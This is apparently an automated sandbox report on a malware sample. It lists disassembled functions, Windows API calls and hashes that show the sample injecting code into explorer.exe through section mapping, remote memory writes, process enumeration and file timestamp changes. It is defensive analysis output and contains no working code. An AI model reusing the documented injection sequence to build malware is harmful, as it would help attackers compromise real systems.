Instruction Fuzzy Hash: 70014CB2308205EBDB106A959C51EBE3659AB55714F308133B607784F1967D9B13F32B

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 551bf9fc6a161abfac80695604f19aa1aef5469406db7a931b83d04652b6e09e
Instruction ID: ef1b3772686a797e33556ea01ceab6b668eb93d7b49977ee198856b5a882b22d
Opcode Fuzzy Hash: 551bf9fc6a161abfac80695604f19aa1aef5469406db7a931b83d04652b6e09e
Instruction Fuzzy Hash: 210125B2208245EADB006A959C61EBA3799AB41724F308137F607790F1967E8A13F31B

Function 004018C2 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bb19dfe290bac6874ef398e2d88654dc8a7b23ebc8c26647aeabf95c1afcae67
Instruction ID: d3c1b2561fc0583f1f6bbc3edf5ccb050f557452f45edf8007d0f6b78c0567ac
Opcode Fuzzy Hash: bb19dfe290bac6874ef398e2d88654dc8a7b23ebc8c26647aeabf95c1afcae67
Instruction Fuzzy Hash: 14017CB2308205EBDB006A919C51EBE3759AB41724F308133F607780F1967D8A13F31B

Function 004018DA Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fbcf8db84f0bcb0a2d0b0e49b2c778a116fa09cd0714ede85e20fc239748f007
Instruction ID: 8f9a98739febab8b32419077b991bda00f1387bd451c7178a571841fb0c6b49c
Opcode Fuzzy Hash: fbcf8db84f0bcb0a2d0b0e49b2c778a116fa09cd0714ede85e20fc239748f007
Instruction Fuzzy Hash: A8F044B6204205EBDB006E959C51FAE3768AB44725F344133F612790F1C67D8A52F71B

Non-executed Functions

Function 0040328D Relevance: 1.4, APIs: 1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40be4076c5679bef0f98681f4824eda593f4152bfce54b2e91414b645047e91a
Instruction ID: e65dddffedb48bda66d8c9a675407c692fe6ac043651d9c697b88b541883c6e0
Opcode Fuzzy Hash: 40be4076c5679bef0f98681f4824eda593f4152bfce54b2e91414b645047e91a
Instruction Fuzzy Hash: E8413631409BD58FC7138F704A661AA7F64FD1332171801EFD881AB2A3C7399B16D79A

Function 004022D9 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7860815ad4231e939db7468cf30c1f9d63862ef5de29645b67a78e94f400ad0
Instruction ID: 407047d8813846ed623c6620c5c661c30d6a874651c06bbb2e7ade0d14a7dce7
Opcode Fuzzy Hash: c7860815ad4231e939db7468cf30c1f9d63862ef5de29645b67a78e94f400ad0
Instruction Fuzzy Hash: 92117D2020C541FCD321D27CCA0C911BFA99B4F72075401FBD691250C3DAB9094AEBAB

Function 004022D8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f82913357ed83049cd1887261115a72de1e32be9748c9b7b11558f6f6d0137
Instruction ID: 5db6927ec116302fd1a3f9be718c7712ee400501de5b38768fcc91fc62191cbb
Opcode Fuzzy Hash: 62f82913357ed83049cd1887261115a72de1e32be9748c9b7b11558f6f6d0137
Instruction Fuzzy Hash: 56117D2024C581ECD321D37CCA48914BFA69B4F72076801FBD691694C3CAB9454AEBAB

Function 004022E5 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039acd9b67e764601ba82469f9de9df4a99d24579219de54cf11ac1d4119bc91
Instruction ID: 863a443b315763638c31dffea77139fa9fc7248c2f9879795720f54bbf800da4
Opcode Fuzzy Hash: 039acd9b67e764601ba82469f9de9df4a99d24579219de54cf11ac1d4119bc91
Instruction Fuzzy Hash: 4F115C2020C941ADD321D37CCA08914BFA59B4F72075802FBD6915A0C6CA79454AEF97

Function 004022F7 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e540363add078f276303d02989b505c159875bf8d0edc9c9c36215123116058
Instruction ID: 0c8bb5551e2abd97a64ae9c19d193427848800bdc9eaee9e975189e24a5225cd
Opcode Fuzzy Hash: 3e540363add078f276303d02989b505c159875bf8d0edc9c9c36215123116058
Instruction Fuzzy Hash: 56112C2020C581EDD321D27CCA09514BF959B4F72475801FBD691690C6DA79454AEB9B

Function 00402321 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25919fc75364af992eb4b4042875d07686e0c12065a18c89e44093fc2b7c95b2
Instruction ID: f976abf0b506ce6ff8f37bbd7c8af7624669eab2ab4b5b0fb9c0d747e7254d45
Opcode Fuzzy Hash: 25919fc75364af992eb4b4042875d07686e0c12065a18c89e44093fc2b7c95b2
Instruction Fuzzy Hash: 1601472124C991BCE331E33CC908904BFE69B4FB6475802FAD2A15A0C7DA214589DFE7

Function 004025D3 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4027c6423f46035466e643bdd863a4de9ba613b5b2dc0b913ca9580a9ba2c0d
Instruction ID: c5c43ab6752ee8d18fcb74b59ff98ad39f6596117cd62c5b2c77ced72334e6aa
Opcode Fuzzy Hash: f4027c6423f46035466e643bdd863a4de9ba613b5b2dc0b913ca9580a9ba2c0d
Instruction Fuzzy Hash: B111E2321002609FDF21AF24C49569AFBB2FF4530C375A188C9969B111E722AD8FCB91

Function 00402686 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7a0acffb87ace860446896612c735c16b272113d31e621940bc7827f3f290d
Instruction ID: c48700b05c06e988df87cd580ca5e4308363d13747befdac9a33251d9afddee9
Opcode Fuzzy Hash: 1e7a0acffb87ace860446896612c735c16b272113d31e621940bc7827f3f290d
Instruction Fuzzy Hash: 8EF0227101036187CF18AB389498198BBA1EE46668798079EDDA2770D2E327A4A9CB90

Analysis Process: explorer.exePID: 1244, Parent PID: 3748COMMON

Execution Graph

Execution Coverage:	57.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11%
Total number of Nodes:	155
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02802FAC Relevance: 7.9, APIs: 5, Instructions: 360
nativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02804760: NtCreateSection.NTDLL ref: 028047D2

NtQueryInformationProcess.NTDLL ref: 028031A2
NtQueryInformationProcess.NTDLL ref: 028031CA
ReadProcessMemory.KERNEL32 ref: 028031FD
ReadProcessMemory.KERNEL32 ref: 0280322B
WriteProcessMemory.KERNEL32 ref: 028032A8

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Memory$InformationQueryRead$CreateSectionWrite
String ID:
API String ID: 1349948393-0
Opcode ID: 927ceaa4fd3a0ab182866fb649d96750ab32dbc44d27f5517bfe2da6e0edd3e9
Instruction ID: 1b74813d2321c49d356361a9da28da29c2672dbd8d53aa73bdf02186d94cc7a5
Opcode Fuzzy Hash: 927ceaa4fd3a0ab182866fb649d96750ab32dbc44d27f5517bfe2da6e0edd3e9
Instruction Fuzzy Hash: 7FB18435A18A4C8FDB58EF58D8856A9B3F1FB5C311F00427ED84AE3285DB30E9068BC5

Function 02803BF4 Relevance: 7.6, APIs: 5, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 02803C16
Process32First.KERNEL32 ref: 02803C35
Process32Next.KERNEL32 ref: 02803C80
CloseHandle.KERNEL32 ref: 02803C8D
SleepEx.KERNEL32 ref: 02803C98

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: fa5a43c44172bddb499ae6b439e922885960bdcd79c62b2d5fce3e2e85a2ac8a
Instruction ID: 3ac37a8e4f3295d916b5ff73ecb06bde55b79edf6a411e4085ea241ddd77114d
Opcode Fuzzy Hash: fa5a43c44172bddb499ae6b439e922885960bdcd79c62b2d5fce3e2e85a2ac8a
Instruction Fuzzy Hash: 6821B738114A088FEB94EF64C8C87AA73E2FB88319F1406BED44FDA1D5DB3495858B51

Function 02804760 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL ref: 028047D2

Strings

@, xrefs: 028047CA
@, xrefs: 028047EA

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: CreateSection
String ID: @$@
API String ID: 2449625523-149943524
Opcode ID: 7986f009ac0f096a0d93092820368ebc118aed73d931aaf233c3ded0dfe06134
Instruction ID: 8b948b220472170e68bca73ce4155a58b834241b854067064d45a3cf5a2c5785
Opcode Fuzzy Hash: 7986f009ac0f096a0d93092820368ebc118aed73d931aaf233c3ded0dfe06134
Instruction Fuzzy Hash: E7316FB8908B898FCB94DF58D8C566AB7E0FB5C306F10066EE95DE3291DB30D840CB85

Function 02805174 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 028051A9

Strings

%02X, xrefs: 02805225

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: AcquireContextCrypt
String ID: %02X
API String ID: 3951991833-436463671
Opcode ID: 9ba93dbf62791bb373f1cafe5aeeec9cbd4ebde5fda2e8a6a364b32c22fd26f9
Instruction ID: 14f226123f28a14ad28bdfd1bf997f779445fc99663e68253b51fdea7f756ed0
Opcode Fuzzy Hash: 9ba93dbf62791bb373f1cafe5aeeec9cbd4ebde5fda2e8a6a364b32c22fd26f9
Instruction Fuzzy Hash: C6317C30618A0D8FCF58EF68D8886EE7BA1FB98305F010279EC4EE7245DF3495419B95

Function 028035E8 Relevance: 1.9, APIs: 1, Instructions: 412comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 02803635

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 74d1e6b67242ff682a275413a25c7c62c6eb1582b11612f6c2361affd49a2485
Instruction ID: 80ee6b75805d9d779247e48ada8d5ee2d01e2c5444a72ca87d658c750a3ddd7a
Opcode Fuzzy Hash: 74d1e6b67242ff682a275413a25c7c62c6eb1582b11612f6c2361affd49a2485
Instruction Fuzzy Hash: 51E1EB34608A4C8FCB94EF28C895F99B7F1FFA9305F114699E44ACB265DB70E944CB42

Function 02803490 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 028034E4

Part of subcall function 028035E8: CoCreateInstance.OLE32 ref: 02803635

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstanceNameUser
String ID:
API String ID: 3213660374-0
Opcode ID: 66936f5a13a6f90c6230e28eb3fdd20d3e72d878b8e61cb291cfd48d82a15998
Instruction ID: 3c0d0b2fd842bd6a2d4cc0fa318b1bfd1f101af48d04ab706a8324f409dde88d
Opcode Fuzzy Hash: 66936f5a13a6f90c6230e28eb3fdd20d3e72d878b8e61cb291cfd48d82a15998
Instruction Fuzzy Hash: CB11DA38718B4C4FCBD4EF6C945875EB6D2FBDC310F904A6E984DC3295DA7889458B82

Function 028019D0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 299
threadmemorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 02801AE7
LoadLibraryA.KERNEL32 ref: 02801B12
CreateThread.KERNEL32 ref: 02801CA2
CloseHandle.KERNEL32 ref: 02801CAB
CreateThread.KERNEL32 ref: 02801CC9
CloseHandle.KERNEL32 ref: 02801CD2

Strings

%g?, xrefs: 02801A37
iP+, xrefs: 02801C32

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: Create$CloseHandleThread$HeapLibraryLoad
String ID: %g?$iP+
API String ID: 1420940861-765743493
Opcode ID: beecc41ad1b9c7ac7640971538dc6f5c7c206b3b77287f35aeb0f1d381c9eb00
Instruction ID: b10ee02a45f19e0e5f8070d87a7ef027a2088157d4df5a107fb80439743ad1b3
Opcode Fuzzy Hash: beecc41ad1b9c7ac7640971538dc6f5c7c206b3b77287f35aeb0f1d381c9eb00
Instruction Fuzzy Hash: 3C910638618A088FDF94EF18CCC56A573D6FB98310B48017E9C4ECB196DB34E952DB92

Function 02801F04 Relevance: 7.7, APIs: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 02801F8E
CopyFileW.KERNEL32 ref: 02801F9D
DeleteFileW.KERNEL32 ref: 02801FAE
DeleteFileW.KERNEL32 ref: 02801FF9

Part of subcall function 02804920: SetFileAttributesW.KERNEL32 ref: 0280496F
Part of subcall function 02804920: CreateFileW.KERNEL32 ref: 02804999
Part of subcall function 02804920: SetFileTime.KERNEL32 ref: 028049C4

CreateFileW.KERNEL32 ref: 02802085

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: File$Delete$Create$AttributesCopyTime
String ID:
API String ID: 642576546-0
Opcode ID: 450f160cc9ca50c00f92dd82e014c961736e81def095327de2f357bf280c45cc
Instruction ID: f76cee0920b55580d3c4e168a80583eef73ded69a24d376765d71a77410aa6f9
Opcode Fuzzy Hash: 450f160cc9ca50c00f92dd82e014c961736e81def095327de2f357bf280c45cc
Instruction Fuzzy Hash: EF414028718A4C4FCBD8AF6C589876D75D2EB9C311F50457EA80EC32C5DE789D068B92

Function 0280230C Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 505
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 028024E9
CreateFileW.KERNEL32 ref: 02802512
WriteFile.KERNEL32 ref: 02802572

Strings

|:|, xrefs: 0280242C

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteWrite
String ID: |:|
API String ID: 2199199414-3736120136
Opcode ID: 61796c1032acc2d464252e370c1eb990376f9906240aefb40997e5410d444d41
Instruction ID: 2c7561992c36e0bba78d296a3cd920a12583e149bfe622b5c84c68ef455dc391
Opcode Fuzzy Hash: 61796c1032acc2d464252e370c1eb990376f9906240aefb40997e5410d444d41
Instruction Fuzzy Hash: C0E1AA34718F484FD7A9AB6C88987AA76D1FB98311F10462ED89FC32C5DF74E9018B46

Function 02804E00 Relevance: 6.1, APIs: 4, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 02804E41
RegQueryValueExA.KERNEL32 ref: 02804E85
RegCloseKey.KERNEL32 ref: 02804ECD
ObtainUserAgentString.URLMON ref: 02804EEE

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: AgentCloseObtainOpenQueryStringUserValue
String ID:
API String ID: 2776781324-0
Opcode ID: 24d59a88fc2a56af890fc7d913f5bd0d823e899b5ad6f282e20803fe12498a88
Instruction ID: 3ad70815657a9b38439f47949a6d47874275e2c1b37f1bd0fcbf1cc72b18d522
Opcode Fuzzy Hash: 24d59a88fc2a56af890fc7d913f5bd0d823e899b5ad6f282e20803fe12498a88
Instruction Fuzzy Hash: 1331A835608A4C8FDB58EF6CDC896EA77D6FB98310B00027ADD5EC3585EF7498068B91

Function 02801D8C Relevance: 4.6, APIs: 3, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02804C90: GetVolumeInformationA.KERNEL32 ref: 02804CFD

CreateMutexExA.KERNEL32 ref: 02801DFF
CreateFileMappingA.KERNEL32 ref: 02801EB1
SleepEx.KERNEL32 ref: 02801EEE

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexSleepVolume
String ID:
API String ID: 3744091137-0
Opcode ID: b295d91b1288181eeec1ab488aa5c8e8f68c45d7ddea544eda9a6e783b4b8990
Instruction ID: 2a2f1f48cf0963bfb1c46b42febfffec9d869a6feae233277bfd22060d4a076b
Opcode Fuzzy Hash: b295d91b1288181eeec1ab488aa5c8e8f68c45d7ddea544eda9a6e783b4b8990
Instruction Fuzzy Hash: DC418638714F088FEBA4EB78849C7AF76D2EF98716F504A2E805FD6180CF7495029B42

Function 02804920 Relevance: 4.6, APIs: 3, Instructions: 84
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 0280496F
CreateFileW.KERNEL32 ref: 02804999
SetFileTime.KERNEL32 ref: 028049C4

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateTime
String ID:
API String ID: 1986686026-0
Opcode ID: 930f7abb6ba3d294a324d478d7cbd4b4fadb59d1e54ccc78cf6df5b131a4bb52
Instruction ID: 95d17b88d091464d295adeb53da372b69cc724d3205cf8352d8ea0b0fba8d750
Opcode Fuzzy Hash: 930f7abb6ba3d294a324d478d7cbd4b4fadb59d1e54ccc78cf6df5b131a4bb52
Instruction Fuzzy Hash: 4521363070CB484FDF64EF58988875E76E2FBDC701F10456DA84EC7245DA34DA058782

Function 02804A40 Relevance: 4.6, APIs: 3, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.ADVAPI32 ref: 02804A94
GetTokenInformation.ADVAPI32 ref: 02804ACB
CloseHandle.KERNEL32 ref: 02804AF1

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken$CloseHandle
String ID:
API String ID: 3193473064-0
Opcode ID: c45b8c63f5540566594fff1aa2102bed85fce811da33fa4b3c4f4cd4104ad40d
Instruction ID: d8f9bc2e4f69188bb20dc324b55574dfc4509fc35ee3c816286350af672bd11f
Opcode Fuzzy Hash: c45b8c63f5540566594fff1aa2102bed85fce811da33fa4b3c4f4cd4104ad40d
Instruction Fuzzy Hash: 4B215334208B088FC754EB2CD49866AB7E2FF99311B050A6EE49AC7254CB74DC05DB42

Function 02803F7C Relevance: 3.5, APIs: 2, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 645ee96dd51e5548f5f84f988a5f238b2320184fe60a1c61053787b84221b83b
Instruction ID: e831c251376a9d669a9f23a0b00386dcfa580c2198304f12806232654113a404
Opcode Fuzzy Hash: 645ee96dd51e5548f5f84f988a5f238b2320184fe60a1c61053787b84221b83b
Instruction Fuzzy Hash: 8CD17238758B098FDB94EF6CD88566EB7E2FB98701F50452DE54AD3281DB74D8028B82

Function 02802CD0 Relevance: 3.3, APIs: 2, Instructions: 254
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 028032EC: CreateFileW.KERNEL32 ref: 02803332
Part of subcall function 028032EC: ReadFile.KERNEL32 ref: 02803379

ResumeThread.KERNEL32 ref: 02802EFE
SleepEx.KERNEL32 ref: 02802F43

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: File$CreateReadResumeSleepThread
String ID:
API String ID: 3143597149-0
Opcode ID: 365ea5b30f4c01e7835fe031ab68ac010f306e42860d01eb5cafeb498fe40cd3
Instruction ID: cb5ea7ee88fcaadd628bdc8b3c2a0676ccaa59bcc1da444653c0be176c423282
Opcode Fuzzy Hash: 365ea5b30f4c01e7835fe031ab68ac010f306e42860d01eb5cafeb498fe40cd3
Instruction Fuzzy Hash: FD719A34308F499FD768EB28C8987AAB7D2FF98311F54452DD45EC3285DF74A8428B82

Function 028032EC Relevance: 3.2, APIs: 2, Instructions: 157
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 02803332
ReadFile.KERNEL32 ref: 02803379

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: File$CreateRead
String ID:
API String ID: 3388366904-0
Opcode ID: 860b54b27e55d88d468d3aef3d1eb136f62499f2293734d64539839b6a1dbfdb
Instruction ID: c79ed3cf0cade407fdfd86877ccfe32798a986688a11d3fedaa10a1780b5a8c5
Opcode Fuzzy Hash: 860b54b27e55d88d468d3aef3d1eb136f62499f2293734d64539839b6a1dbfdb
Instruction Fuzzy Hash: 5B41C53871CF0D4FD798AA6C589937AB6C2FBC9311F54426E959FC3281DE24980247C2

Function 02803CD0 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 02803CEC
SleepEx.KERNEL32 ref: 02803CF7

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 1463d5e46deb1595a3555ad154bed2e852597fb94a3d4e72d5661fa7ae90eeb7
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 34E04F345046098FFB68ABA4C4D8BB036A1EB18206F1401BADC0EDD285CB768995C720

Function 02804578 Relevance: 1.6, APIs: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32 ref: 0280465C

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2801000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: af81d194f5fd3f12c6410c72f9c850e3bdf48fe1056d627e372d0d81f6bf526e
Instruction ID: 44defb51d7f270c750abc859981a7be7908ba0bc13b15a02e5eef8d3f5e43656
Opcode Fuzzy Hash: af81d194f5fd3f12c6410c72f9c850e3bdf48fe1056d627e372d0d81f6bf526e
Instruction Fuzzy Hash: 4C316D34708F484FCB94EF6C948875AB6E2FB9C311F504A6E944ED3295DB78D8458B82

Function 02804C90 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 02804CFD

Part of subcall function 02805174: CryptAcquireContextA.ADVAPI32 ref: 028051A9

Memory Dump Source

Source File: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, Offset: 02801000, based on PE: false

